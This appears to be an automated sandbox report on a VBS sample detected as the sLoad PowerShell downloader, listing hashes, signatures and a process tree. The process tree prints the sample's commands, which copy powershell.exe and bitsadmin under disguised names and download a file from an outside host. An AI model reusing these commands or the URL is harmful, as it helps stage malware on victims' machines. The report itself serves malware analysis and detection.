Analysis

  • max time kernel
    45s
  • max time network
    51s
  • platform
    windows7_x64
  • resource
    win7-20220331-en
  • submitted
    28-03-2022 01:21

General

  • Target

    c069b74525aa61709da74c75a8687ad61c8556e4c8bcd0c0a8010c25a9fe6e52.vbs

  • Size

    6KB

  • MD5

    11f6b0f1a90680ea7f7d57b68ff305ee

  • SHA1

    b1793a0401e017b90f8dea32bdf4d27c1af82fae

  • SHA256

    c069b74525aa61709da74c75a8687ad61c8556e4c8bcd0c0a8010c25a9fe6e52

  • SHA512

    69f219dc9b61146447850a802c31bbaf10f2b8624418dcf12bfdfcf6bf116c5d68c1d2fea79f3f4afa533b9f0134c7d911863a3d61816aecab58a1b4e1950e7a

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c069b74525aa61709da74c75a8687ad61c8556e4c8bcd0c0a8010c25a9fe6e52.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:528
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zoZjp.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\KFJYToh*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1680
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zoZjp.exe
        3⤵
          PID:1340
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\KFJYToh*.exe
          3⤵
            PID:1248
        • C:\ProgramData\KFJYTohin.exe
          "C:\ProgramData\KFJYTohin.exe" /transfer NEcBQb /download https://fhivelifestyle.online/lidepato/BRGDRD68M16L682M/uk.css C:\Users\Admin\AppData\Roaming\uk.css
          2⤵
          • Executes dropped EXE
          PID:1752

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\KFJYTohin.exe

        Filesize

        182KB

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • C:\ProgramData\KFJYTohin.exe

        Filesize

        182KB

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • memory/528-54-0x000007FEFB8C1000-0x000007FEFB8C3000-memory.dmp

        Filesize

        8KB

      • memory/1248-57-0x0000000000000000-mapping.dmp

      • memory/1340-56-0x0000000000000000-mapping.dmp

      • memory/1680-55-0x0000000000000000-mapping.dmp

      • memory/1752-59-0x0000000000000000-mapping.dmp

      • memory/1752-61-0x0000000075A41000-0x0000000075A43000-memory.dmp

        Filesize

        8KB